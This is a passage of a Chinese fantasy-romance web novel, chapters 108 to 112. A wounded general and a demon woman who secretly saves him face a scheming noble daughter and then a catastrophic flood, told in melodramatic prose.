这封信很短。
短到只有一行字。
字迹潦草,像有人伏在马背、颠簸中匆匆写下,墨迹渗进纸纹,边缘晕开细碎的毛刺。
萧氏女,欲以“崖底救命之恩”为由,强嫁将军。
慕酌望着那行字。
烛火将他的侧脸映成一道削薄的剪影。他的眼睫垂落,覆住所有情绪。
然后他忽然笑了。
那笑意极轻,只在唇角抿开一丝弧度,没有声音,没有预兆,笑完就不笑了,他想死
108. 萧咏歌
宛楪没有想过自己会再入军营。
那夜的刺杀她看见了,她看见刺客如潮水涌向帅帐,看见慕酌独战十一人,看见他胸口中剑却半步不退。她看见他的血将帐前沙土浸成深赭色,看见他跪倒,看见他以剑支身,不肯倒下。
她看见刺客收刀退走,她看见他倒在血泊里,阖上眼。
那一刻她什么都不再想。
她掠入帐中,跪在慕酌身侧,伸手探他颈侧脉息。
很弱。
她凝起掌心残存的灵力。这些时日她跟得太久,救他太多次,灵力已近枯竭。那夜崖底她几乎耗尽了自己,至今未能复原。
但她不在乎,她将掌心覆在他心口,灵力如一线将断未断的丝,从她指间缓缓渡入他体内。太慢了,太少了——她咬牙,逼出最后一缕本源。
几片淡绯色的花瓣自她指尖生出,旋即枯萎。
她将那些残瓣轻轻喂入他唇间,他的眉宇渐渐舒展,呼吸从断续变得平稳。
他的手指动了动。
宛楪望着那只手。
和崖底一样,它无力摊开,掌心朝上,像在等待谁来握住。
她垂下眼,还是起身,准备离去。
就在这时,身后传来一道尖厉的声音:
“是你?”
宛楪没有回头。
“本小姐问你话——你是哪里来的野丫头,也敢在本小姐面前晃悠?”
那声音步步逼近。金玉步摇的碎响,珠串相撞的轻鸣,织锦履踏过地面的细碎窸窣。
宛楪终于转过身。
萧亦熙立在帐中,烛火映着她满身华彩。她那双桃花眼此刻眯成细长的弧,像淬了毒液的刃,正一寸一寸剐过宛楪的脸。
然后那目光凝住了。
“……是你。”
她的声音忽然变了。
不再是方才的尖厉,而是一种奇异的、压低了的调子——像发现猎物踏入陷阱的猎人,惊喜,又隐忍。
宛楪望着她。
“你认得我。”
萧亦熙没有否认。
她笑了。那笑意不再有半分娇憨,只剩刀锋般的冷。
“你顶着这张脸,还敢在我面前出现?也是,按辈分,你应该叫我一声嫡姐。”
宛楪心中微微一沉。
她认错人了。
“你说谁。”
萧亦熙的笑意更深,“装什么傻?”她向前一步,珠翠琳琅,“萧咏歌。”
宛楪沉默,她早该猜到的。
萧。
咏歌。
那个多年前救过她的官家小姐。那场泥石流里,萧咏歌把唯一的生路让给了她,自己沉入浊浪。
临死前只来得及说一句:替我照顾爷爷。她攥着那枚玉佩去寻人,踏入的却是早已设好的陷阱。
那些人看见玉佩便红了眼,刀锋劈下来时喊着“她在这”。
她逃了,一路逃,一路被追杀,从未有机会解释自己是谁。
她不是萧咏歌。
但她承了萧咏歌的命。
萧亦熙望着她的沉默,像欣赏一幅令她愉悦的画。
“你这丫头命贱,早该死了。”她轻声道,像在说今日天气,“你还真是命硬,听说你被一个流民收养,当了十几年乞丐,啧,派去杀你的人没杀死你。”
她的笑意渐浓。
“怎么,躲在哪里苟延残喘?”
宛楪没有答。
她只是问:
“当初想要杀我的,是你。”
不是疑问,是陈述。
萧亦熙偏了偏头,凤钗衔的金珠在烛光里轻轻摇曳。
“是又如何?不是又如何?”
她顿了顿,笑意如毒花绽放:
“想杀你的人多了。萧咏歌,你不知道挡了多少人的路,但我现在想让你回来了。”她忽然压低声音,像分享一个秘密,“只要你磕头叩首,好好求求我,让你在我手下做一个丫鬟,赏你口饭吃也不是不可以。”
她直起身,理了理披帛。
“你这条命根本就不值钱。挡了路,就该付出代价。这道理,你总该懂。”
宛楪望着她。
她想起很多年前。
那也是一个暮春,她奄奄一息倒在巷陌深处,伤口流出的血将青石板染成深褐色。路过的人绕道而行,没有人愿意沾手一个来历不明的野孩子。
是萧咏歌停下的。
她那时才十五六岁,穿着鹅黄衫子,发间簪一朵新摘的玉兰。她蹲下来,不怕脏污,将自己的帕子覆在宛楪伤口上。
她说:不怕,我带你回家。
那是宛楪此生听到的第一句“不怕”。
再后来——
没有后来了。
泥石流冲下来的时候,萧咏歌拉着她跑了一夜。她们找到一处岩隙,窄得只容一人侧身。萧咏歌将她推进去,自己留在外面。
宛楪死死攥着她的袖口,不放手。
萧咏歌低下头,望着她。
那双眼睛在黑暗里很亮,像盛着最后一点天光。她说:我爷爷是盲人,他一个人活不下去。你替我去看看他,好不好?
宛楪哭着点头。
萧咏歌将掌心的玉佩塞进她手里。
那枚玉还带着她的体温。
然后她掰开宛楪的手指,退后一步。
浊浪吞没她时,她仍在笑。
——而此刻,杀死那个人的凶手之一,就立在她面前。
宛楪望着萧亦熙。
她的脸上没有怒,没有恨,只有一种深潭般的平静。
她在想:杀了这个人,合不合算。
杀了她,尚书府必会追查。她此刻灵力即将耗尽,身份未明,慕酌重伤未醒。杀她,会将一切拖入更深的漩涡。
不杀她——
她望着萧亦熙眼底那抹有恃无恐。
不杀她,她也许会在某一天,将宛楪的身份揭穿,引来杀戮。
宛楪的指尖微微动了动。
这时,她身后传来一声极轻的——
“咳。”
她猛然回头。
慕酌睁开了眼。
他的视线先落在帐顶。
失焦了片刻,像溺水者挣扎浮出水面,还未辨清明暗。他的胸膛起伏了一下,牵动伤口,眉心微蹙。
然后他侧过脸。
他看见她。
那一瞬他的眼神变了。
是认出、是惊喜、是一种更复杂的、更隐忍的、她读不懂的情绪。
像冰封的湖面,乍然裂开千万道细纹。
他张了张口。
没有声音。
他望着她,像望着一场他不配拥有的梦。
“……你。”
他的声音哑得像砂纸。
他没有问她为什么在这里。他没有问她为什么救他。他只是望着她,喉结滚动了一次、两次,像将千万句言语生生咽回腹中。
然后他看见她身后的萧亦熙。
那一眼很短。
短到几乎没有停留。
但他的眼神在那一刻彻底冷下来——像冰面重新封冻,像他从梦中回到人间。
他撑着身体,慢慢坐起。
血从他肋间涌出,浸透绷带,他没有理会。
他望着萧亦熙。
“方才的话,”他开口,声音很低,却像淬过寒刃,“我都听见了。”
萧亦熙的脸色变了。
那是她今夜第一次真正失态。她的笑僵在嘴角,像面具裂开一道细纹。她后退半步,凤钗衔珠的金流苏撞在她颊侧,泠泠作响。
“将、将军……”她的声音开始发颤,“民女只是、只是与这位姑娘叙旧……”
“叙旧。”
慕酌重复这两个字。
他的声音没有起伏。
但萧亦熙又退了一步。
“当年追杀萧咏歌的,”他说,“是萧家哪一房。”
宛楪转头看着他,眼中情绪复杂。
不是疑问,是审问。
萧亦熙的唇翕动了一下。
“我、我不知道……那是兄长他们……”
她猛然顿住。
她意识到自己说漏了什么。
慕酌没有追问。他只是望着她,像望着一件已经用不上的旧物。
“你冒领救命之恩。”他说,“你陷害无辜之人。你亲口承认当年曾欲置人于死地。”
他一字一顿。
“数罪并罚,依军法——当斩。”
萧亦熙的脸彻底失了血色。
她张着嘴,想辩解,想哭诉,想搬出尚书府的名头来压他。
但是慕酌不听。那双眼睛是冷酷,残忍,是决心。
他是真的要杀她。
她踉跄后退,撞翻了帐角的烛台。火苗舔上毡毯,她尖叫一声,扑灭火星,跌跌撞撞冲出帅帐。
帐中重归寂静。
慕酌没有追。
他依然坐着,脊背挺直如剑脊。血还在从他肋间渗出,在衣料上洇开一朵又一朵深色的花。
他没有理会。
他只是望着宛楪。
他望了很久。
久到她几乎以为他不会开口。
然后他说:
“你……为何回来。”
宛楪垂眸。
她本可以编很多理由。担心药人追查,怀疑京中大官的来路,不放心他独自涉险——任何一个都比真话体面。
但她望着他染血的衣襟,望着他强撑着不肯倒下的脊背,望
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着他眼底那道尚未愈合的冰纹。
她忽然不想编了。
“你怎么把自己弄成这样。”她说。
她顿了顿。
“怪惨的。”
他没有说话。
烛火不知何时已重燃,是帐外亲卫听闻动静入内收拾。那亲卫望了望将军,又望了望将军身侧这位从未见过的女子,识趣地低头,添了灯油便悄然退出。
帐中只剩他们二人。
烛焰在灯盏里轻轻摇曳,将他侧脸镀上一层薄金,在她眉眼投下细碎的影。他的影子与她相隔半尺,像两道各自流淌的河。
他开口。
“你该恨我。”
他第二次说这句话。
宛楪望着他,有些疑惑。“恨你什么。”
他沉默。
恨他不分青红皂白就要杀她,每一次的恶语相向。恨他将她卷入南国暗流。恨他明知身世牵连无数恩怨,却放任她跟在身侧。恨他在竹林中让她走,让她以为自己已割舍干净,却又在此刻——
此刻她站在他面前,他望着她的眼神,像望着此生唯一不敢触碰的月。
他说不出口。
他只是垂下眼,望着自己染血的手。
“你该恨我。”他重复,声音低得像呢喃,“你一直……都该恨我。”
宛楪没有答。
她只是伸出手,将他肋间松脱的绷带轻轻按紧。
他没有躲。
他甚至没有动。
他只是望着她低垂的眼睫,望着她专注于伤口的侧脸,望着她指尖偶尔擦过他皮肤时的、那一触即离的克制。
他忽然想问她:
你可曾想过,你会为一个险些杀死你的人,背负这么多追杀?
你可曾想过,当年救你的那个萧咏歌,她托付的人是你,她救的人是你,她死的时候念着的人也是你——而你却因为那枚玉佩,被误认成她,逃了十年。
你可曾想过,我会是这世上最不该靠近你的人。
他没有问。
他怕她的答案。
他更怕自己听了那答案之后,再也做不到“让她走”。
他将那些话一一咽回喉间,像咽下千钧重的铁。
“萧咏歌。”他开口,换了话题,“你是不是也要回那个尚书府。”
宛楪抬眸。
“我不是萧咏歌。”
她第一次开口纠正。
声音很轻,像只是陈述一个事实,不带任何情绪。
慕酌望着她。
他没有追问。
他只是沉默片刻,然后说:
“那你是谁。”
宛楪没有答。
她只是收回按在他伤口上的手。
那一瞬,他忽然很想握住她的手。
他没有。
他只是望着她起身,望着她将掌心残留的血迹拭去,望着她走向帐口。
她在帐口停下。
没有回头。
“你身上的伤,”她说,“十二道新伤,七处旧伤未愈。”
她顿了顿。
“别再拿自己当磨刀石。”
然后她迈步,走入帐外浓稠如墨的夜色。
慕酌望着她消失的方向。
很久很久。
他低下头,望着自己掌心——那里有一片她方才无意落下的绯色花瓣。
很小,小到几乎看不见。
他将那片花瓣轻轻放入怀中的素帕,与那夜崖底的残瓣并在一处。
然后他起身。
血还在流,他没有理会。
他还有仗要打。
还有路要走。
还有——一个总要让他破例的人,在夜色深处,不知去向。
帐外,月色如霜。
宛楪立在营垒边缘,望着远处沉入黑暗的山峦。
夜风拂过她鬓边散落的发丝,带着早春泥土初醒的潮气。她身后,帅帐的烛火还亮着,在窗纸上映成一道细长的影。
她没有回头。
她只是将掌心摊开——那里什么也没有。
那些花瓣,她忘了取回。
也许没有忘。
她只是……不知如何取回。
她想起很多年前,另一个人也曾将什么塞进她掌心。
那枚玉早已不在她身上。她将它埋在萧咏歌沉没的那条江边,立了一个无名的衣冠冢。每年春汛来时,江水漫过坟前青石,她会去坐一整夜。
她没有对任何人说过。
远处的山峦静默如伏兽。
她立了很久。
久到月影西斜,久到她终于迈出那一步,离开这座她本不该再入的军营。
她没有回头。
但她的脚步,比来时慢了许多。
109. 如果她不在乎自己能过得好些
天色愈发暗沉,浓稠似墨的暮霭犹如缓缓洇开的墨汁,正一点一点地将最后一抹天光无情地蚕食殆尽,
整个天地间仿佛被一层灰暗的纱幕所笼罩,陷入一片浑浊而压抑的昏沉之中。
慕酌率领着军队,行进在蜿蜒曲折的官道上,马蹄有力地踏起尘土,那尘土在暮色里肆意地盘旋飞舞,细碎得仿若烟雾,沉沉浮浮,好似也被这压抑的氛围所感染,在迷茫中徘徊不定。
就在这弥漫的烟尘之中,那尚书府的嫡女纵马疾驰而来,紧紧相随。她的衣裙早已沾染了尘土,显得有些狼狈,
而鬓边的钗环在昏暗的天色里偶尔闪烁出微弱的光芒,恰似一只误入这肃穆军阵的萤虫,透着一股不合时宜的娇弱。
“将军,您瞧瞧我呀,为了追上您,我这一路可是吃尽了苦头呢。”
她娇嗔着,声音软糯黏腻,如同蜜糖般往慕酌耳中钻,“您就忍心看着我这般辛苦地跟着吗?”
慕酌面色阴沉,垂眸看向自己紧抵剑柄的掌心,指节因用力而泛白,骨节高高凸起,好似要将剑柄捏碎
。那原本温凉的剑柄,此刻在他手中却仿佛烧红的烙铁,炙热得仿佛要灼伤他的掌心。他
心中厌烦至极,这女子的纠缠不休,犹如一只令人厌恶的苍蝇,怎么赶都赶不走,让他内心的杀意不由自主地渐渐涌起。
就在这时,一道黑影如幽灵般悄无声息地贴近,紧紧贴着马腹悄然欺身而来。
那人声音压得极低,气息如蛇信子般轻轻拂过慕酌的耳廓,透着丝丝阴寒:
“上头的意思,望将军——娶了她。”
慕酌的眉心骤然紧锁,仿佛被重锤狠狠击中,川字纹如刀刻般深深嵌在额间,许久都未曾松开。
荒谬,他不弄死她算她命大。
恰在此时,后方传来急促的马蹄声,尚书府的家丁们策马疾驰而来,他们的衣襟早已被汗水湿透,紧紧贴在身上,脸上满是焦急之色。
“小姐,您快跟我们回去吧,老爷都快急得发疯了!”家丁们纷纷焦急地劝道。
“哼,我不回去!你们别啰嗦!”
那小姐双手叉腰,怒目圆睁
,“我若回去,尚书府必定要送个女子入宫伺候那个老皇帝,我才不干呢!”
她稍作停顿,眼中满是倔强,还有孤注一掷的决然,
“倒不如嫁给将军,我此生非他不嫁——”
她猛地扭头,直直望向慕酌,眼中满是倔强与决然,
“将军,我可告诉你,我此生非你不嫁!你要是敢不听我的话,哼,我就让尚书府对你施压,让你前途不顺!”
她扬起下巴,一脸骄横,“当然啦,只要你答应娶我,尚书府必定全力支持你,保你平步青云。”
那声音在暮色里回荡,尖锐刺耳,犹如钝刀在瓷面上狠狠刮过,让人耳膜生疼。
慕酌缓缓闭上双眼,深吸一口气,试图压抑心中那熊熊燃烧的怒火。
他清楚地感觉到虎口处那道旧伤正在崩裂,鲜血顺着剑柄缓缓滑落,一滴一滴地没入马蹄扬起的尘土里,转瞬便消失得无影无踪。
他真想不顾一切地一剑砍下去,斩断这无尽的烦扰。
“小姐,您可别再任性了,老爷的命令咱们可不能违抗啊!”家丁们仍在苦苦劝说,声音中满是无奈与焦急。
“你们都给我闭嘴!我心意已决,谁也别想让我回去!”
小姐大声呵斥着,双脚在空中乱蹬,头上的珠钗纷纷跌落,青丝瞬间变得凌乱不堪。
“慕酌,我警告你,你不要有别的歪心思,乖乖娶了我,不然……”
“你喜欢的人,也就是我的那个庶妹,我能让她生不如死!”
“还有你的那个救命恩人,我也……”
“闭嘴!”萧亦熙脸上挨了一巴掌,赶过来的尚书公子制止了她的话。
“慕将军见谅,舍妹被惯坏了,一时胡言乱语。”
“我回去一定好好教育她,将她禁足,慕将军饶过她这一次。”萧成允冷汗连连,这个妹妹怎么就惹到了这个煞神!
谁不知道他背后的是……
“哥!”萧亦熙又要开口,被一个眼神制止。她有些不甘心,狠狠盯着慕酌。
慕酌缓缓松开紧握剑柄的手,心中的杀意却没有减少。
看着家丁们七手八脚地将那人架起。
萧亦熙一边挣扎,一边声嘶力竭地
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喊道:“将军,你记住了,你不能娶别人,不然我不会放过你!”
那声音在暮色里回荡,渐渐地被暮霭无情地吞没,直至再也听不见。
慕酌望着被带走的人,面色冷峻如冰,缓缓将剑按回鞘中,萧家……
他望向远处的山,一种难以言语的恐慌席卷了他。
他知道她很厉害,但是她要是被那个人盯上……
要是她不在乎自己,说不定自己就不会成为害她的诱饵,那其实,她不在乎他也是件好事。
想到这,慕酌心脏抽痛了一下。
心中五味杂陈,如同打翻了五味瓶。
他率军继续前行,尘土再次扬起,将他的背影笼罩成一道模糊的灰暗轮廓,仿佛要将他此刻复杂的情绪一并隐藏起来。
此后的数月,日子风平浪静,仿佛一切都回归了平淡。
日升月落,有条不紊地重复着,如同那架古老而沉重的旧水车,碾碎了时光的晨昏。
慕酌再未见过他的姐姐,在那些漫长而寂静的深夜里,他偶尔会独坐窗前,恍惚记起那女子眼底闪烁的亮光,恰似将熄未熄的烛火,
在黑暗中摇曳着微弱的光芒。然而,这份记起只是短暂的一瞬,旋即便被如潮水般涌来的倦意彻底淹没。
直至那道圣旨突如其来地降下,犹如一道惊雷,打破了这份平静。
宣旨太监那尖锐刺耳的声音,在空旷的厅堂里层层回荡,每一个字都像是重锤,狠狠地砸在众人的心头
“……某地洪泛,命慕酌即刻率军镇之——”
慕酌面无表情地跪伏在地,玄色官袍如同一大片浓重的阴影,铺散在他周围。
他静静地听着旨意一字字落下,每一个字都仿佛带着千钧之力,砸在他的耳中,让他的心也跟着一阵沉闷。
接旨的那一刻,檐外天色骤然大变,乌云如铅块般沉甸甸地压下来,几乎要触到地面。
他仰头望去,天光从云隙间艰难地漏下几缕,惨白得如同丧布,透着一股不祥的气息。
他忽然无端地想:若能死在这场洪水里,或许倒也算是一种解脱。
——若所有人都能一起在这场洪水中消逝,那该有多好。
110. 心跳
洪灾之地,仿佛天破了个筛子。
冷雨如注,密不透风,终日下个不停,将天地间浸成一片湿冷的灰暗色调。
淤泥漫上道路,朽木在水中漂浮,空气中满是潮湿腐败的气息,仿佛整个世界都被浸泡在这股令人作呕的味道里。
宛楪便是在这样的时节来到了此处。
灵力枯竭已有好些日子了。
她静静地站在坍圮的民房旁,看着雨水从断梁上潺潺淌下,汇入脚边的浊流,一圈圈打着旋儿,仿佛时间也在这漩涡中停滞。
她不知道自己为何会走到这里——或许只是如浮萍般随波逐流,就像她这一生的大多数时候,总是在命运的洪流里身不由己。
她不知道,此刻有人正在找她。
慕酌抵达洪灾地的第三日,堤坝东段出现第一道渗漏。
他亲自带人填沙袋,玄甲淋得透湿,泥浆灌进战靴,每一步都沉重如涉深沼。他立在溃口边,望着脚下翻涌的浊浪,忽然想起一个人。
那夜崖底,她也是这样一身青衫,俯身时发尾落在他手背。
他收回目光,继续填坝。
有人在西岸救起一整船被困灾民,听说是位姑娘,力气不大,却一整天都在水里泡着。慕酌正巡视粮仓,闻言脚步微微一顿,旋即恢复如常。
他没有问是哪位姑娘。
他什么都没问,哪有那么巧。
雨势稍歇,洪水却仍在涨。北岸传来消息,有流民趁乱哄抢物资,他提剑赶去弹压,途经一段被淹的街巷,听见有人议论。
“那青衣姑娘今日又救了三个人。”
“从水里捞起来的,自己呛得半死,还把人往岸上推。”
“也不晓得是哪家的小姐……”
慕酌没有停步。
他只是将剑柄握得更紧了些。
他收到军报,萧氏那边的暗线有了动静。他垂眼看完,将信纸凑近烛火,烧成灰烬。灰烬飘落时他侧过脸,望向帐外茫茫雨幕。
他不知道自己想望见什么。
第七日。
他去北岸视察灾情。那里的水退了一些,露出被泡烂的家什和牲畜的尸首,空气中弥漫着腐臭。
他踩着没过脚踝的淤泥走过,亲卫跟在身后,低声禀报各处险情。他听着,偶尔颔首,神色如常。
然后他听见一阵咳嗽。
很轻,被雨声压着,几乎听不分明。那不是灾民惯常的那种咳——绝望的、撕心裂肺的、仿佛要把肺叶都呕出来的咳。那咳嗽压得很低,像在极力克制。
他偏过头。
隔着半条街,隔着几堵塌了半边的墙,隔着往来搬运物资的人影——他什么也没看见。
他站了片刻。
“……将军?”亲卫试探着唤。
“继续。”他说。
声音平稳如常。
次日雨又大了,他接到急报,堤坝西段出现管涌,随时可能决口。他翻身上马,马蹄踏过积水的街巷,溅起浑黄的水帘。
途径一处临时搭建的草棚时,他勒住了马。
草棚里挤满了伤患,有断腿的,有发烧的,有被房梁砸破头的。棚口悬着一盏极旧的油灯,灯焰被风吹得东倒西歪,将棚内人影晃成憧憧鬼影。
他看见一道背影。
青衫,窄肩,发髻散落了一半,湿漉漉地贴在颈侧。那人正俯身给一个孩子换药,动作极慢,慢得像每一次抬手都要用尽全力。
她没有回头。
他坐在马上,隔着雨幕,隔着来往的人流,隔着那道被风吹得明灭不定的灯焰,望了那道背影很久。
有亲卫上前,顺着他视线望去,道:“是那位姑娘,这几日都在这里帮忙,听说是从别处来的,没有家眷……”
慕酌没有说话。
他只是望着那道背影,望着她终于换完药,缓缓直起身,抬手扶了一下棚柱。那扶的一瞬,她整个人的重量都压了上去。
他收回目光。
“走。”他说。
马蹄踏过积水,往堤坝方向去了。
管涌堵住了。他浑身泥泞立在堤上,望着脚下终于平稳的水面,不知在想什么。
“将军,”亲卫道,“您已经三日不曾阖眼……”
他没有理会。
他想起方才堵口时,有人从后方送来姜汤和干粮。送东西的民夫说,是位姑娘让送的,说堤上的人淋了几天雨,喝点热的暖身。
他端起那碗姜汤。
碗沿有一个极细的裂纹,被汤色洇成深褐。他望着那道纹,许久,饮尽了。
等到第十天,他又去了那间草棚,棚还是挤满了人。他立在棚外,没有进去。
那青衫女子还在。她今日换了药箱的位置,正坐在棚角,给一个老妪喂水。老妪颤抖着手接过陶碗,她微微侧过脸,似乎在说什么。隔着太远,隔着嘈杂,他听不清。
他只看见她说完后,老妪干裂的唇角弯了一下。
那是他在这片洪泽之地见过的,第一个笑容。
他攥紧了自己的手,还是没有上前,转身离去。
直到慕酌收到密报,决堤另有隐情,有人在暗中破坏。他召集诸将议事,舆图铺开,烛火将每个人的影子都投在帐壁上,憧憧如鬼。
他说了很久的话,部署,追查,布防。声音平稳,条理分明,诸将一一领命。
帐中只剩他一人时,他忽然忘了方才说过什么。
他去查看被损毁的那段堤坝,那里地势较低,洪水退去后留下一片泽国。他踩着没过脚踝的淤泥,低头辨认坝体上的裂痕。亲卫远远跟在身后,不敢打扰。
他忽然停住。
淤泥里有一串脚印。
那脚印很浅,被雨水冲刷得几乎看不分明。但比寻常女子的脚印更浅——像一个人力气耗尽,每一步都只敢轻轻落下,怕陷进去,怕拔不出来。
他沿着那串脚印走了很久。
脚印在一棵半倒的柳树旁消失了。
他立在柳树边,低头望着那个被踩得最深的足印。泥水里浮着几缕青丝,被雨水泡得发白,缠在一截枯枝上。
他弯腰,将那几缕青丝拾起,缠绕在指尖。
他没有带回营帐,他只是立在原地,摊开手掌,任由雨水将它们从他掌心冲走。
慕酌没有再去草棚,他只是正常巡营,正常调度,正常在那些需要他出现的地方出现。他的脸色比前几日更差,下颌那道伤不知何时又挣裂了,血痂糊着雨水,凝成一道暗红的渍。
亲卫小心翼翼问是否要传医官。
他说不必。
堤坝西段还是决了,那一刻他正在东岸,听见轰鸣声由远及近,像万马奔腾,像地裂山崩。他翻身上马,甚至来不及点齐人手,便朝决口处疾驰。
水已经漫过来了。
浊浪越过田垄,越过道路,越过那些还来不及撤走的民房。他策马踏过齐膝的水面,剑已出鞘,明知徒劳——
他忽然想起崖底那夜。
她也是这样,明知徒劳。
他不知道自己在多少次想起了她。
他只是在浑浊的水面上,看见了那抹青衫,她立在没过腰际的洪水中,正奋力将两个孩子推上一块浮木。那木太小,承不住三个人的重量。她将孩子推上去,自己却一寸一寸往下陷。
她没有回头,她在往岸边
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推那块浮木。
慕酌跃下马。
他甚至不知道自己是如何涉过那段水路的。只是拨开人群,只是踏过激流,只是——
慕酌停下来,他早就确认了,但是……
可他只是默默敛眸,起身时面色如常,唯有唇角紧紧压成一条细直的线,泄露了他内心深处的复杂情绪。
宛楪扶了身边的孩子一下,转过身。雨水、汗水、泥水,将她整张脸都糊得看不清眉目。
她的眼睫湿透了,黏在眼睑上,像被雨打残的蝶翼。然后,她看见了慕酌。
他立在废墟旁,背对着她。
她望着他,目光里有片刻的茫然,像没有认出他是谁。
玄甲上溅满泥浆,肩胛处有一道新添的裂口,甲片微微翘起,边缘卷着钝锈。他正俯身从倾倒的木梁下拖出一个孩子——那孩子约莫七八岁,泥人似的,被他单手拎着后领,像拎一只落水的幼兽。亲卫接过孩子,匆匆退下。
他直起身。
雨水顺着他的护颈淌进领口,他却像浑然不觉,只是立在那里,望着面前那片被洪水啃噬过的断壁残垣,许久不动。
雨雾将他的轮廓削成一道薄刃。
然后她看清了。
雨雾如轻纱般模糊了他的轮廓,却怎么也掩不住那一身孤峭的寒意,宛如一座冰冷的冰山,遗世独立。
他显然也看见了她,眉心微微一跳,旋即便恢复了平静,那一丝波澜仿佛从未出现过。
她微微一怔, “真巧,慕酌。”
声音哑得几乎听不分明,像在水底浸泡了太久。
慕酌没有答,停顿了很久,终于,他走过来,攥着她的手腕。
他望着她,雨水从额角淌下来,滑过漂亮的眼睑,在下颌凝成珠。
他没有说话。
他只是将那只冰凉的手腕攥得更紧了一些,然后用力往上提——不是拉,是提。像从深渊里打捞一件沉得太久的东西,怕一松手,就再也找不见了。
但很快力道就松开了,像是他不敢,不舍的一样。
宛楪踉跄了一步,没有站稳,险些跌倒。他扶住她的手臂。
那只手在她肘边停了一瞬。
很短。短到几乎无法被察觉。
然后他松开。
“这地方,”他开口,声音冷得像浸过冬水,“不是你该来的。”
宛楪垂着眼。
她低头望着自己的手腕,那里被他攥出了一道浅红的印痕。她没有说话,也没有问他是如何找到这里的。
她只是抬起眼,望着他甲胄上新添的几道裂口。
“所以呢……”她轻声。
慕酌没有应。
他的目光落在她唇角那道干裂的血口上,落在那身湿透的青衫上,落在那双已被泥水泡得发白的赤足上。
他沉默了很久。
久到远处又传来一阵轰鸣,久到亲卫策马来报,说决口正在扩大,请将军速速定夺——
他转身。
“……跟上,姐姐。”他说。
宛楪望着他的背影,望着那道玄甲在雨幕里渐渐淡成一道薄影。她提起浸透的裙角,跟了上去。
她没有问去哪里,他也没有说为何要她跟着。
雨还在下。她跟在他身后,隔了七八步远,恰好是听不见他心跳的距离。
——可她不知道。
他走得那样快,每一步都在与她拉开距离。
他也没有回头。
他只是在那雨声最密的一瞬,放慢了半步。
只半步。
她便跟上了,妖族的耳朵很好用,包括此刻慕酌胸腔剧烈的跳动。
111. 为什么来蹚浑水
“……你一个尚书府的小姐,”他缓缓开口,声音被雨声侵蚀得低哑,却依旧带着惯常的冷峻,
“为何要来趟这浑水?”
他顿了顿,目光从她脸上轻轻掠过,像是要透过她的面容探究到她的灵魂深处,
宛楪没有答话,她没有想到还能碰见他,也不知道怎么就鬼使神差的打了招呼。
尚书府……
原来救她的人出身于尚书府。
“竟如此心怀苍生?”慕酌又问。
宛楪静静地望着他,目光平和而坚定。
雨珠沿着她的眼睫缓缓滑落,坠在衣襟上,洇开一小片深色的水渍,如同岁月留下的斑驳痕迹。
她的声音很轻,却稳稳地穿透雨声,清晰地传入他的耳中:
“我只是觉得这些受灾的百姓实在太可怜了。”
她缓缓垂下眼,看着脚下的泥水漫过鞋面,眼神中满是悲悯,“希望每个人都能幸福地生活——如此简单而已。”
她复又抬起眼,目光清澈地望向他:“将军为何这样问?”
慕酌没有立刻回答。
雨丝如细密的珠帘横斜在他与她之间,织成一道若有若无的帘幕。
他静静地看着她,目光里有疑惑、有审视,还有一丝极淡极淡的、连他自己都未必察觉的——松动。
他在心底暗自思忖:我原本早已对这世间绝望透顶。
可若你还对这世间心怀希望——
就在这时,远处骤然传来一阵轰鸣。
那声音起初如同闷雷在天际滚滚而过,转瞬之间便化作万马奔腾般的磅礴之势,铺天盖地地席卷而来。
慕酌蓦然回首,瞳孔骤然紧缩,眼中满是震惊与警惕。
决堤了。
洪水如挣脱了万年枷锁的凶猛凶兽,发出震天的咆哮,从缺口处汹涌倾泻而出。
浊浪排空,一丈、两丈、三丈——所经之处,房屋瞬间倾塌,树木被连根拔起,如同蝼蚁般被无情卷入浪中,瞬息之间便消失得无影无踪。
慕酌毫不犹豫地拔剑,飞身冲向洪水。
他不知道自己能做些什么,只知道不能坐视这一切发生。
内力源源不断地灌入剑身,他奋力斩向浪头,然而,却如水劈水,徒劳无功。
洪水轻而易举地冲垮了他布下的第一道防线,紧接着是第二道,第三道——他就像一粒渺小的石子投入了波涛汹涌的怒海,连一丝涟漪都激不起来。
然后,浪头无情地将他吞没。
冰冷刺骨的洪水瞬间灌入口鼻,视野里一片浑浊,什么也看不见。
慕酌在水中拼命沉浮,身上的甲胄重如铅坠,无情地将他往深渊里拖拽。
在模糊的视线中,他隐约看见不远处有一抹青色,在水中缓缓散开,宛如一只残破的蝶翼,脆弱而无助。
姐姐……
他拼尽全身的力气,朝着那抹青色游去,手臂奋力穿过湍急的水流,一把攥住她的手腕。
那一握,只觉她的手腕冰凉纤细,仿佛稍一用力便会折断。<
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他用尽最后的力气,将她往上奋力一送——岸上有人发出惊呼声,随即有手伸下来,将她拽了上去。
慕酌力竭,身体不由自主地往下沉去。
水没过头顶,天光离他越来越远,黑暗如巨兽的大口将他吞噬。
他忽然觉得很平静,仿佛是一位终于可以阖眼的长途旅人,历经沧桑,
终于迎来了最后的安宁。意识逐渐涣散之际,他看见一道巨大的绿色光幕,从他头顶轰然铺开,如春日里新发的繁茂树冠,又如遮天蔽日的巨大羽翼。
那光幕坚定地挡在洪水与他之间,散发着莹莹的光辉……
洪水却猛地灌入喉咙,将所有声音都封缄在了黑暗之中,慕酌彻底陷入了昏迷。
然而,没有人看见的河水里面,光幕上却布满了细密的裂纹,仿佛随时都会破碎。
宛楪咬着牙,那是她强行发动本源力量,燃尽自己所换来的。
要是有一天,有人告诉她,她会这么做,她绝对不信。
可现在……
不知过了多久。
宛楪感觉有人撑着伞,悄然停在自己身侧。
雨珠沿着伞沿滑落,滴答,滴答,敲在积水上,声音清冷而规律,仿佛在这混乱的世界里奏出了一曲孤独的乐章。
她想要睁眼,眼皮却重如铅封,怎么也睁不开,只有雨水顺着额角缓缓淌过眼睑,凉意丝丝缕缕,让她稍微清醒了一些。
然后,她被人轻轻托起,带离了这片充满泥泞与绝望的地方。
112. 他可以接受她不爱他
慕酌悠悠转醒,入目之处皆是陌生,身侧空荡荡的,没有一丝熟悉的气息。
他躺在一处不知何处的河岸,碎石毫不留情地硌着脊背,传来钻心的钝痛
浑浊的水流有一下没一下地轻轻拍打着脚底,那有节奏的一涨一退,好似是为逝去之人无声的默哀。
为谁默哀?
他吃力地缓缓撑坐起身,强忍着浑身的酸痛环顾四周,只见茫茫一片,唯有雨雾连绵接天,整个世界仿佛被一层迷茫的薄纱所笼罩,透着无尽的凄冷与孤寂。
雨丝斜斜地落进他的颈间,冰凉刺骨。他没有躲。
“姐姐……”
他张开嘴,声音却像被水浸泡过的纸,刚一出口便溃不成形,只剩下一声破碎的气音。
